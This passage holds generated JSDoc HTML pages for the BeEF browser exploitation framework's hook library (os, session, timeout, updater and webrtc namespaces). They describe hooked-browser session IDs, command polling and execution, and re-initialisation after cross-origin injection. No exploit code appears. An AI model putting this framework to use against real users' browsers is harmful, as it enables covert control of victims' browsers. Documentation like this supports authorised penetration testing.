href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line46\">line 46</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWinPhone\"><span class=\"type-signature\">(static) </span>isWinPhone<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line178\">line 178</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWinServer2003\"><span class=\"type-signature\">(static) </span>isWinServer2003<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line94\">line 94</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWinVista\"><span class=\"type-signature\">(static) </span>isWinVista<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line100\">line 100</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWinXP\"><span class=\"type-signature\">(static) </span>isWinXP<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line88\">line 88</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWindows\"><span class=\"type-signature\">(static) </span>isWindows<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line244\">line 244</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.session.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: session</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: session</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>session</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Provides basic session functions.</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"session.js.html\">session.js</a>, <a href=\"session.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".gen_hook_session_id\"><span class=\"type-signature\">(static) </span>gen_hook_session_id<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Generates a random string using the chars in hook_session_id_chars.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"session.js.html\">session.js</a>, <a href=\"session.js.html#line60\">line 60</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".get_hook_session_id\"><span class=\"type-signature\">(static) </span>get_hook_session_id<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Gets a string which will be used to identify the hooked browser session</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"session.js.html\">session.js</a>, <a href=\"session.js.html#line23\">line 23</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".set_hook_session_id\"><span class=\"type-signature\">(static) </span>set_hook_session_id<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Sets a string which will be used to identify the hooked browser session</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"session.js.html\">session.js</a>, <a href=\"session.js.html#line48\">line 48</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.timeout.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: timeout</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: timeout</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>timeout</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Sometimes there are timing issues and looks like beef_init\nis not called at all (always in cross-origin situations,\nfor example calling the hook with jquery getScript,\nor sometimes with event handler injections).</p>\n<p>To fix this, we call again beef_init after 1 second.\nCheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece\nantisnatchor</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"timeout.js.html\">timeout.js</a>, <a href=\"timeout.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".setTimeout\"><span class=\"type-signature\">(static) </span>setTimeout<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"timeout.js.html\">timeout.js</a>, <a href=\"timeout.js.html#line19\">line 19</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.updater.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: updater</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: updater</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>updater</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Object in charge of getting new commands from the BeEF framework and execute them.\nThe XHR-polling channel is managed here. If WebSockets are enabled,\nwebsocket.js is used instead.</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"updater.js.html\">updater.js</a>, <a href=\"updater.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Members</h3>\n\n        \n            \n<h4 class=\"name\" id=\".beefhook\"><span class=\"type-signature\">(static) </span>beefhook<span class=\"type-signature\"></span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>Hook session name.</p>\n</div>\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"updater.js.html\">updater.js</a>, <a href=\"updater.js.html#line19\">line 19</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".lock\"><span class=\"type-signature\">(static) </span>lock<span class=\"type-signature\"></span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>A lock.</p>\n</div>\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"updater.js.html\">updater.js</a>, <a href=\"updater.js.html#line22\">line 22</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".objects\"><span class=\"type-signature\">(static) </span>objects<span class=\"type-signature\"></span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>An object containing all values to be registered and sent by the updater.</p>\n</div>\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"updater.js.html\">updater.js</a>, <a href=\"updater.js.html#line25\">line 25</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n            \n<h4 class=\"name\" id=\".xhr_poll_timeout\"><span class=\"type-signature\">(static) </span>xhr_poll_timeout<span class=\"type-signature\"></span></h4>\n\n\n\n\n<div class=\"description\">\n    <p>XHR-polling timeout.</p>\n</div>\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"updater.js.html\">updater.js</a>, <a href=\"updater.js.html#line16\">line 16</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n        \n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".execute_commands\"><span class=\"type-signature\">(static) </span>execute_commands<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Executes the received commands, if any.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"updater.js.html\">updater.js</a>, <a href=\"updater.js.html#line75\">line 75</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".get_commands\"><span class=\"type-signature\">(static) </span>get_commands<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Gets new commands from the framework.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"updater.js.html\">updater.js</a>, <a href=\"updater.js.html#line58\">line 58</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".regObject\"><span class=\"type-signature\">(static) </span>regObject<span class=\"signature\">(key, value)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Registers an object to always send when requesting new commands to the framework.</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>key</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the name of the object.</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>value</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the value of that object.</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"updater.js.html\">updater.js</a>, <a href=\"updater.js.html#line34\">line 34</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n    <h5>Example</h5>\n    \n    <pre class=\"prettyprint\"><code>beef.updater.regObject('java_enabled', 'true');</code></pre>\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.webrtc.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: webrtc</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: webrtc</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>webrtc</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Manage the WebRTC peer to peer communication channels.\nThis objects contains all the necessary client-side WebRTC components,\nallowing browsers to use WebRTC to communicate with each other.\nTo provide signaling, the WebRTC extension sets up custom listeners.\n/rtcsignal - for sending RTC signalling information between peers\n/rtcmessage - for client-side rtc messages to be submitted back into beef and logged.</p>\n<p>To ensure signaling gets back to the peers, the hook.js dynamic construction also includes\nthe signalling.</p>\n<p>This is all mostly a Proof of Concept</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line8\">line 8</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 